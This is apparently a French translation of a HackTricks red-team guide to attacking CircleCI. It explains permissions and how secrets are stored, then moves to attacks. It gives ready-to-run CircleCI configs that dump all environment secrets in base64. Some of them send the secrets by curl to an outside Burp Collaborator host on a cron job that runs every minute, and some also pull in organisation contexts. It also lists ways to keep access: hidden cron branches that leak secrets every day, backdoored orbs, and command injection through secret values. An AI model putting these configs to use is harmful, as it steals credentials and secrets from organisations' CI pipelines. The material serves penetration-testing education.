CircleCI Security

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

CircleCI est une plateforme d'intégration continue où vous pouvez définir des modèles indiquant ce que vous voulez qu'il fasse avec un peu de code et quand le faire. De cette manière, vous pouvez automatiser les tests ou les déploiements directement à partir de la branche principale de votre dépôt, par exemple.

Autorisations

CircleCI hérite des autorisations de github et bitbucket liées au compte qui se connecte. Dans mes tests, j'ai vérifié que tant que vous avez des autorisations d'écriture sur le dépôt dans github, vous pourrez gérer ses paramètres de projet dans CircleCI (définir de nouvelles clés ssh, obtenir des clés api de projet, créer de nouvelles branches avec de nouvelles configurations CircleCI...).

Cependant, vous devez être un administrateur de dépôt pour convertir le dépôt en un projet CircleCI.

Variables d'environnement et Secrets

Selon la documentation, il existe différentes façons de charger des valeurs dans des variables d'environnement à l'intérieur d'un flux de travail.

Variables d'environnement intégrées

Chaque conteneur exécuté par CircleCI aura toujours des variables d'environnement spécifiques définies dans la documentation comme CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME ou CIRCLE_USERNAME.

Texte clair

Vous pouvez les déclarer en clair à l'intérieur d'une commande:

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Vous pouvez les déclarer en texte clair à l'intérieur de l'environnement d'exécution :

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Vous pouvez les déclarer en texte clair à l'intérieur de l'environnement build-job :

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Vous pouvez les déclarer en texte clair à l'intérieur de l'environnement d'un conteneur :

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Secrets du Projet

Ce sont des secrets qui ne seront accessibles que par le projet (par n'importe quelle branche). Vous pouvez les voir déclarés dans https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

La fonctionnalité "Importer des Variables" permet d'importer des variables d'autres projets vers celui-ci.

Secrets de Contexte

Ce sont des secrets qui sont valables pour toute l'organisation. Par défaut, n'importe quel dépôt pourra accéder à n'importe quel secret stocké ici :

Cependant, notez qu'un groupe différent (au lieu de Tous les membres) peut être sélectionné pour donner accès aux secrets à des personnes spécifiques uniquement. C'est actuellement l'une des meilleures façons d'accroître la sécurité des secrets, pour ne pas permettre à tout le monde d'y accéder mais seulement à certaines personnes.

Attaques

Recherche de Secrets en Texte Clair

Si vous avez accès au VCS (comme github), vérifiez le fichier .circleci/config.yml de chaque dépôt sur chaque branche et recherchez d'éventuels secrets en texte clair qui y sont stockés.

Variables d'Environnement Secrètes & Énumération de Contexte

En vérifiant le code, vous pouvez trouver tous les noms de secrets qui sont utilisés dans chaque fichier .circleci/config.yml. Vous pouvez également obtenir les noms de contexte à partir de ces fichiers ou les vérifier dans la console web : https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltration des secrets du projet

Pour exfiltrer TOUS les secrets du projet et du contexte, vous avez juste besoin d'avoir un accès EN ÉCRITURE à un seul dépôt dans toute l'organisation github (et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à tous les contextes).

La fonctionnalité "Importer des Variables" permet d'importer des variables d'autres projets vers celui-ci. Par conséquent, un attaquant pourrait importer toutes les variables du projet de tous les dépôts puis exfiltrer toutes ensemble.

Tous les secrets du projet sont toujours définis dans l'environnement des tâches, donc en appelant env et en l'obscurcissant en base64, vous exfiltrerez les secrets dans la console de journal web des workflows :

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Si vous n'avez pas accès à la console web mais que vous avez accès au dépôt et que vous savez que CircleCI est utilisé, vous pouvez simplement créer un flux de travail qui est déclenché toutes les minutes et qui exfiltre les secrets vers une adresse externe:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltrer les secrets de contexte

Vous devez spécifier le nom du contexte (cela exfiltrera également les secrets du projet) :

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Si vous n'avez pas accès à la console web mais que vous avez accès au dépôt et que vous savez que CircleCI est utilisé, vous pouvez simplement modifier un flux de travail qui est déclenché toutes les minutes et qui exfiltre les secrets vers une adresse externe:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

Créer simplement un nouveau fichier .circleci/config.yml dans un dépôt n'est pas suffisant pour déclencher une construction CircleCI. Vous devez l'activer en tant que projet dans la console CircleCI.

Évasion vers le Cloud

CircleCI vous donne la possibilité d'exécuter vos constructions sur leurs machines ou sur les vôtres. Par défaut, leurs machines sont situées dans GCP, et au départ, vous ne pourrez pas trouver quelque chose de pertinent. Cependant, si une victime exécute les tâches dans ses propres machines (potentiellement, dans un environnement cloud), vous pourriez trouver un point de terminaison de métadonnées cloud avec des informations intéressantes.

Remarquez que dans les exemples précédents, tout a été lancé à l'intérieur d'un conteneur Docker, mais vous pouvez également demander le lancement d'une machine virtuelle (qui peut avoir des autorisations cloud différentes) :

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Ou même un conteneur Docker avec accès à un service Docker distant :

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistance

  • Il est possible de créer des jetons d'utilisateur dans CircleCI pour accéder aux points d'API avec les autorisations des utilisateurs.

  • https://app.circleci.com/settings/user/tokens

  • Il est possible de créer des jetons de projet pour accéder au projet avec les autorisations données au jeton.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • Il est possible d'ajouter des clés SSH aux projets.

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • Il est possible de créer une tâche cron dans une branche cachée dans un projet inattendu qui fuit toutes les variables d'environnement de contexte chaque jour.

  • Ou même créer dans une branche / modifier une tâche connue qui fuit tous les contextes et les secrets des projets chaque jour.

  • Si vous êtes propriétaire de Github, vous pouvez autoriser les orbes non vérifiés et en configurer un dans une tâche comme porte dérobée

  • Vous pouvez trouver une vulnérabilité d'injection de commande dans certaines tâches et injecter des commandes via un secret en modifiant sa valeur.

Dernière mise à jour